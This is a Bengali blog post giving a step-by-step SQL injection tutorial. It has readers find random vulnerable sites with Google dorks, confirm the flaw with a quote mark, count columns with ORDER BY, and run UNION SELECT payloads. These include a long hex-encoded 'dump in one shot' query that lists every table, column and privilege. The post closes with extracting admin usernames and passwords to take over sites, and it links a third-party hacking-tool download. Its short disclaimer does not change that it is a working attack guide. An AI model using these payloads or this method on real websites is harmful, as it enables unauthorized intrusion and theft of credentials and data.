আচ্ছালামুআলাইকু? আশা করি আপনারা সকলেই ভালো এবং সুস্থ আছেন। ❤️
আজকের পোস্টটা যে বিষয় নিয়ে সেটি হচ্ছে SQLI বা SQL Injection. যদিও আমি SQL injection এ এক্সপার্ট না।? তাই কোথাও ভুল হলে ক্ষমার দৃষ্টিতে দেখবেন এবং আমাদের ফেসবুক এর প্রতিষ্ঠাতা মার্ক জাকারবার্গ কমেন্ট বক্স নামে একটা জিনিস তৈরি করে দিয়েছেন ঐখানে সুন্দর করে ভুলটা ধরিয়ে দিবেন।? সবাই শেষ পর্যন্ত পড়ার চেষ্টা করবো ইনশাল্লাহ্। যাই হোক কথা না বাড়িয়ে শুরু করা যাক।
শুরুতেই বলে নেই দয়া করে এটি কেউ খারাপ কাজে ব্যাবহার করবেন না শুধু আপনাদের শেখা এবং জানার উদ্দেশ্যে
প্রথমেই হয়তো আপনাদের মনে প্রশ্ন জাগতে পারে যে SQL কী??
SQL এর পূর্ণরূপ হচ্ছে Structured Query language. SQL একটি শক্তিশালী ডাটা Mainipulation ও Definition ল্যাংগুয়েজ। যেহেতু এটি SQL নিয়ে পোস্ট না SQL injection নিয়ে তাই শুধু এইটুকু মাথায় রাখুন যে ওয়েবসাইট এর তথ্য ডাটাবেসে জমা করা বা তাকে পরিবর্তন বা নতুন তথ্য যোগ করার জন্য যে ভাষা ব্যাবহার করা হয় সেটি হচ্ছে SQL। উদাহরণ হিসেবে ধরুন আপনার স্কুলে 100 জন শিক্ষার্থী আছে এবং তাদের তথ্য যেমন নাম রোল ইত্যাদি স্কুল এর website এর ডাটাবেসে সংরক্ষণ করা আছে এবং ইচ্ছা করলে নতুন শিক্ষার্থীর তথ্য যোগ করতে পারছেন এবং তথ্য মুছে ফেলা বা পরিবর্তন করতে পারছেন।
যাইহোক এখন আসি মূল বিষয়ে…. SQL injection হলো এমন একটি মেথড যার মাধ্যমে আমরা কোনো ওয়েবসাইটের SQL এর vulnerability বা দুর্বলতাকে কাজে লাগিয়ে ওয়েবসাইটের ডাটাবেজ এর সকল তথ্য হাতিয়ে নিতে পারি অর্থাৎ হ্যাক করতে পারি। বড় কথা হচ্ছে ডাটাবেস থেকে আমরা এডমিন প্যানেল বা ওয়েবসাইটের কন্ট্রোল প্যানেল(cpanel) এর পাসওয়ার্ড বের করে এডমিন প্যানেলে লগইন করে পুরো ওয়েবসাইট হ্যাক করতে পারবো তাহলে ভাবুন SQL injection কতটা মারাত্মক হতে পারে। শুরুতেই বলেছি দয়া করে কেউ খারাপ কাজে এটি ব্যাবহার করবেন না শুধু মাত্র আপনাদের শেখা এবং জানার জন্য।
এখন কথা হচ্ছে যে কিভাবে বুঝবো যে এই ওয়েবসাইটটি SQL vulnerable কিনা? হ্যাঁ অবশ্যই সেটা পরীক্ষা করার একটা পদ্ধতি আছে। তার জন্য আপনি google dorks এর সাহায্য নিতে পারেন। google dork কী সেটা নিয়ে ইনশাল্লাহ ভবিষ্যতে পোস্ট করার চেষ্টা করবো। google dork আসলে ব্যাবহৃত হয় কোনো কিছু নিখুঁতভাবে অনুসন্ধানের জন্য মনে যা সার্চ করবেন ওই বিষয় ছাড়া অন্য কোনো তথ্য অযথা আপনাকে দেখাবেনা। এখন আপনি গুগলে গিয়ে সার্চ করবেন inurl:index.php?id=fr (fr এর জায়গায় আপনি যে দেশের ওয়েবসাইট খুঁজতে চান সেই দেশের নাম দিতে হবে আমি এইখানে fr দিয়েছি মানে france একইভাবে in ,bd ,pk)। বা আপনি যদি চান কোনো দেশ টার্গেট করবেন না randomly যাতে বের হয় তাহলে id= ফাঁকা রাখবেন। এখন বলতে পারেন যে ভাইয়া দেশের নাম দিয়ে খুঁজতে পারবো বুঝলাম কিন্তু নির্দিষ্ট কোনো ওয়েবসাইট কিভাবে খুঁজব☹️। হ্যাঁ সেটিও আপনি google dork দিয়ে খুঁজতে পারেন(site:target-website.com inurl:php?id=) অথবা ওই ওয়েবসাইটটিতে ঢুকে php?id=(যেকোনো সংখ্যা হতে পারে) এইরকম আছে এমন কোনো পেইজ খুঁজুন। যেহেতু আমরা এখন টার্গেট ওয়েবসাইটে করতেছিনা সেহেতু google এ সার্চ দিলাম inurl:index.php?id=fr এরপর প্রাপ্ত ফলাফল থেকে যেকোনো একটা ওয়েবসাইটে ঢুকবো। কিন্তু মনে রাখবেন google dork দিয়ে বের করার পর সবগুলা ওয়েবসাইটই যে vulnerable হবে সেটা না। আপনাকে চেক করে দেখতে হবে । তার জন্য ওয়েবসাইটের php?id=2(যেকোনো সংখ্যা থাকতে পারে) এর পর ‘ এই চিহ্নটি দিবো। এইটা ছাড়াও আরও কিছু সিনট্যাক্স আছে যেগুলো দ্বারা vulnerability পরীক্ষা করা যায় যেমন: \/,;’ ইত্যাদি। মনে করি আমাদের ফলাফল প্রাপ্ত ওয়েবসাইটটি http://example.com/page.php?id=5 প্রথমে ওয়েবসাইটে ঢুকে সবকিছু ভালোভাবে একবার দেখে নিবেন যাতে কোনোকিছু উধাও হয়ে গেলে বুঝতে পারেন। এরপর ‘ চিহ্নটি দেওয়ার পর url টি নিম্নরূপ হবে
http://example।.com/page.php?id=5’
‘ চিহ্নটি দিয়ে এন্টার চাপার পর যদি ওয়েবসাইটে কোনো error আসে বা কোনো ছবি অথবা কোনো লেখা উধাও হয়ে যায় তাহলে বুঝতে হবে যে ওয়েবসাইটটি SQL vulnerable বেশিরভাগ error এইরকম হয়ে থাকে
[1]
Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1
or
[2]
(Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\Inetpub\vhosts\jayapriya.com\httpdocs\gallery.php on line 11)
আমার নেওয়া ওয়েবসাইটটিতে কিছু লেখা উধাও হয়ে যায় এবং একটি এরোর ও দেখায়। এখন একটু খেয়াল করুন আসলে কেনো ওই চিহ্ন দেওয়ার কারণে error টা আসলো???? আসলে ‘ ) / ; এইগুলা হলো SQL ভাষার সিনট্যাক্স। এগুলো দেওয়ার কারণে ওয়েবসাইটে কোনো পরিবর্তন হওয়ার মানে আমাদের দেওয়া চিহ্নটি ওয়েবসাইটে এক্সিকিউট হয়েছে যার কারণে নতুন একটি এররের তৈরি হয়েছে। যাইহোক বুঝতে পারলাম যে ওয়েবসাইটটি SQL vulnerable যেহেতু আমাদের দেওয়া SQL এর যেকোনো কোড ওয়েবসাইটটি এক্সিকিউট করতেছে সেহেতু আমরা চাইলে SQL এর বিভিন্ন কীওয়ার্ড ব্যাবহার করে ডাটাবেস থেকে সকল ডাটা বের করে আনতে পারবো। এরপর ‘ চিহ্নটি কেটে id=5 এর পর 2টা হাইপেন ( – )দিবেন(http://example।.com/page.php?id=5–) এরপর এন্টার চাপার পর যদি
উক্ত error টি চলে যায় অর্থাৎ সাইটটি আগের মত হয়ে যায় তাহলে বুঝতে হবে এটিতে union based SQL injection করতে হবে। আর যদি না যায় তাহলে 5 এর পর ‘–+- দিবেন(http://example।.com/page.php?id=5’–+-) এখন যদি error টি চলে যায় তাহলে বুঝতে হবে যে string based sql injection করতে হবে
এরপরের ধাপে আগানোর জন্য আমাদের একটি অ্যাপ্লিকেশন প্রয়োজন( অ্যাপ্লিকেশন ছাড়াও করতে পারবেন কিন্তু অ্যাপ ব্যাবহার করলে সহজ হবে এবং তাড়াতাড়ি করতে পারবেন)। যারা মোবাইল ব্যাবহার করেন তারা anon hackbar নাম এর অ্যাপটি ডউনলোড করে ইনস্টল করে নিবেন(গুগলে anon hackbar লিখে সার্চ দিলেই পেয়ে যাবেন, না পারলে কমেন্টে জানাবেন)। আর যারা পিসি বা ল্যাপটপ ব্যাবহার করেন তারা cyber fox browser এবং anonfiles.com/1914wcD2p1/K.C.H-HackBarpro_xpi ফাইলটি ডাউনলোড করে ইনস্টল করে নিবেন তারপর ডান পাশে উপরে 3 ডটে ক্লিক করে add-ons এ যাবেন। তারপর extension এ গিয়ে দেখবেন সেটিংস এর মত আইকন আছে ঐখানে ক্লিক করার পর দেখতে প্যানেল insall from file এইরকম একটা অপশন আছে ঐটায় ক্লিক করবেন। তারপর এই ফাইল টি (K.C.H-HackBarpro_xpi) সিলেক্ট করবেন তারপর ইনস্টল এ ক্লিক করবেন। তারপর cyber fox কেটে দিয়ে আবার ঢুকবেন দেখবেন উপরে hackbar চলে এসেছে। যদি না দেখায় উপরে তাহলে f 9 বাটন চাপবেন। এরপর anon hackbar এর ইনপুট বক্সে ওই ওয়েবসাইটটি দিবেন (http://example।.com/page.php?id=5) এরপর যদি union based থাকে তাহলে নিচে থেকে union based সিলেক্ট করবেন এরপর order by অথবা group by এ ক্লিক করবেন। আর যদি string based থাকে একইভাবে string based select করবেন। তারপর একটি ইনপুট বক্স আসবে সেইখানে column number দিতে বলবে। কিন্তু আমরা তো আর জানিনা যে ওয়েবসাইটটিতে কয়টা কলাম আছে তাইনা। তাহলে কিভাবে জানবো? তার জন্য আপনি প্রথমে group বা অর্ডার by 100 লিখবেন এবং exicute বাটনটিতে চাপবেন। কোনো ওয়েবসাইটেই এত বেশি কলাম থাকে না তাই আপনাকে একটা এরর দেখাবে বা আবার কোনো ইমেজ বা লেখা উধাও হয়ে যাবে। এরপর ধীরে ধীরে কমিয়ে কমিয়ে বার বার order by বা group by করতে থাকবেন। যত দেওয়ার পর আর এররটি আসবে না বুঝতে হবে ততগুলো কলাম ওয়েবসাইটটিতে বিদ্যমান যেমন প্রথমে দিলেন
string based এর জন্য: http://example।.com/page.php?id=5’ORDER+BY+100–+-
পরবর্তীতে আবার দিলেন 100 এর জায়গায় 50 তারপর 20 এরপর 20 এ যদি ইররটি চলে যায় আবার কিছু বাড়িয়ে দেখবেন যে সর্বোচ্চ কত পর্যন্ত এরর বিহীন থাকে যেমন ধরেন 20 পর্যন্ত আসার পর এরোরটি চলে গেছে তাহলে 21…22 এইভাবে বাড়িয়ে দেখবেন। ধরি যে 22 দেওয়ার পরই আবার error টি দেখাচ্ছে। তার মানে আমরা বুঝলাম যে 21 টি কলাম আছে।
আর যারা পিসি তে করবেন তারা anon hackbar এ 2 টা অপশন পাবেন না শুধু union based paben তাই তারা এই কোডটি কপি করে করবেন এবং পেস্ট করে exicute এ ক্লিক করবেন
union based: +ORDER+BY+1–
অথবা +GROUP+BY+1–
string based: ‘ORDER+BY+100–+-
‘GROUP+BY+100–+-
example:
union:
http://example।.com/page.php?id=5+ORDER+BY+100–
string:http://example।.com/page.php?id=5’ORDER+BY+100–+-
এখন আমরা জানতে পারলাম যে ওয়েবসাইটটিতে 21 টি কলাম আছে। এরপর আগের দেওয়া কোড টুকু কেটে দিবেন মানে শুধু http://example।.com/page.php?id=5 এইটুকু রাখবেন। তারপর আবার union based বা string based আগে যেইটা সিলেক্ট করেছিলেন ঐটাই আবার সিলেক্ট করে তারপর union select অপশনটিতে ক্লিক করবেন। তারপর ঐখানে প্রাপ্ত কলাম নম্বরটি লিখবেন। যেহেতু আমরা এইখানে 21 পেয়েছি সেহেতু 21 লিখবো।
example: http://example।.com/page.php?id=5+AND+0+UNION+SELECT+1,2,3,4,…..21–
আর পিসি ইউজার যারা তারা union based option এ ক্লিক করে ইউনিয়ন সিলেক্ট থেকে সিলেক্ট করতে পারেন অথবা নিচের কোড কপি করে করতে পারেন
union based: +AND+0+UNION+SELECT+1,2,3,4(যে কয়টা কলাম থাকবে তত পর্যন্ত)–
string based: ‘AND+0+UNION+SELECT+1,2,3,4–+-
example: http://example।.com/page.php?id=5+AND+0+UNION+SELECT+1,2,3,4–
এরপর এইটা দেওয়ার পর আবার এক্সিকিউট এ ক্লিক করবেন। এখন একটু মজার বিষয় খেয়াল করুন। দেখতে পারবেন ওয়েবসাইটে কোনো জায়গায় এক বা একাধিক সংখ্যা দেখা যাচ্ছে যেইটা আপনার দেওয়া কলাম নম্বর গুলোর মধ্যে আছে। যেমন আপনার কলাম সংখ্যা ধরুন 5 টি তাহলে 5 এর ভিতরেই এক বা একাধিক সংখ্যা লক্ষ করবেন। এখন প্রশ্ন জাগতে পারে যে এই সংখ্যাটি কেনো আসলো এর দ্বারা আমাদের লাভই বা কি। যেই সংখ্যা গুলো দেখাবে তত নম্বর column গুলো আসলে vulnerable বা ওই কলাম গুলোর মধ্যে দুর্বলতা আছে। এখন আমরা যে কলাম গুলো দেখাবে তার যেকোনো একটি কেটে দিয়ে ওই জায়গায় যেকোনো SQL এর কোয়েরি এক্সিকিউট করতে পারবো যেমন SQL এর version জানতে পারবো। টেবিল এবং কলাম গুলো দেখতে পারবো এবং সেগুলো ডাম্প করে ডাটাবেস থেকে সবকিছু নিয়ে আসতে পারবো। ধরি আমাদের ওয়েবসাইটটিতে 2 এবং 3 এই 2টি সংখ্যা দেখাচ্ছে তার মানে এই 2টি কলামে দুর্বলতা আছে। এখন আমরা যদি জানতে চাই যে SQL টি ওয়েবসাইটটিতে ব্যাবহার করা হয়েছে তার ভার্সন কত তাহলে নিচের মত করে লিখতে হবে।
+AND+0+UNION+SELECT+1,version(),3,4– [যেহেতু আমরা 2 এবং 3 vulnerable পেয়েছিলাম তাই 2 এর জায়গায় version likhesi]
এখন যদি ডাটাবেস এর নাম জানতে চান তাহলে version() এর পরিবর্তে লিখতে হবে database()
অথবা আপনি চাইলে dios(dump in one shot) ব্যাবহার করে টেবিল এবং কলাম গুলোর নাম একবারে বের করে ফেলতে পারেন সেক্ষেত্রে আপনাকে union/string অপশনটিতে ক্লিক করে নিচের দিকে দেখতে পাবেন অনেকগুলো dios দেওয়া আছে ওইগুলো ঐখানে দিতে পারবেন।
আমি উদাহরণ হিসেবে আমার dios দিয়ে দেখাচ্ছি
http://example।.com/page.php?id=5+AND+0+UNION+SELECT+1,GROUP_CONCAT(0x3c646976207374796c653d226261636b67726f756e642d696d6167653a75726c282768747470733a2f2f77616c6c70617065726163636573732e636f6d2f66756c6c2f323334353234342e6a706727293b206261636b67726f756e642d7265706561743a206e6f2d7265706561743b6261636b67726f756e642d73697a653a636f7665723b20636f6c6f723a233366303b20666f6e742d73697a653a20313470783b20666f6e742d7765696768743a3730303b2070616464696e673a32307078203570783b20223e,0x3c6831207374796c653d22636f6c6f723a626c75653b20666f6e742d73697a653a32357078223e496e6a6563746564204279203c6920207374796c653d22636f6c6f723a726564223e78526f6f7430303c2f693e3c2f68313e,0x3c62207374796c653d22636f6c6f723a233941464635433b20666f6e742d7374796c653a6974616c69633b20666f6e742d73697a653a31357078223e,0x4461746162617365204e616d653a20,database(),0x3c62723e,0x56657273696f6e3a20,version(),0x3c62723e,0x557365723a20,user(),0x3c62723e,0x436f756e743a20,(SELECT+CONCAT(COUNT(schema_name),0x202f20446174616261736573)+FROM+INFORMATION_SCHEMA.SCHEMATA),0x3c62723e,(SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),0x3c2f623e,0x3c62723e,(select(@a)from(select(@a:=0x00),0x3c62723e,0x3c7370616e207374796c653d22666f6e742d7765696768743a363030223e,(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a),0x3c2f7370616e3e,0x3c2f6469763e),3,4–
সবসময় যে একই dios কাজ করবে এমন না। সেক্ষেত্রে একটা একটা করে দিয়ে দেখবেন। এরপর আপনি ডাটা ডাম্প করার জন্য union/string এ ক্লিক করার পর dump data অপশনটিতে ক্লিক করার পর যে table এর যে কলাম গুলোর ডাটা ডাম্প করতে চান বা ডাটা দেখতে চান তার নাম লিখবেন ইনপুট বক্সে। পিসির ক্ষেত্রে ডাটা নামে একটা অপশন পাবেন union এর ভিতর ঐটাই ক্লিক করে data group concat অপশনটিতে ক্লিক করবেন।
যেমন আমার প্রাপ্ত ডেটাবেসে একটি admin নামে টেবিল আছে এবং তার ভিতরে থাকা username এবং password নামে 2টি column আছে সেটি ডাম্প করতে চাই। তাহলে টেবিল নামে এর জায়গায় admin এবং column er জায়গায় username, password দিয়ে এক্সিকিউট এ ক্লিক করবো এবং এডমিন প্যানেলের username এবং password দেখাবে
এভাবে আপনারা SQL injection করে SQL vulnerable ওয়েবসাইট হ্যাক করতে পারবেন। আজ এই পর্যন্তই কষ্ট করে পুরোটা পড়ার জন্য ধন্যবাদ?
Credit And Author Copyright: Shahedul Islam (এই পোস্টটির Author তার ক্ষমতা বলে পোস্টি রিমুভ বা ডিলিট করার ক্ষমতা রাখে)
Tsports দেখতে এখানে ভিজিট করুন
যাই হোক খুব ভালো লিখেছেন।
https://rifatbhai.blogspot.com/2021/03/blog-post.html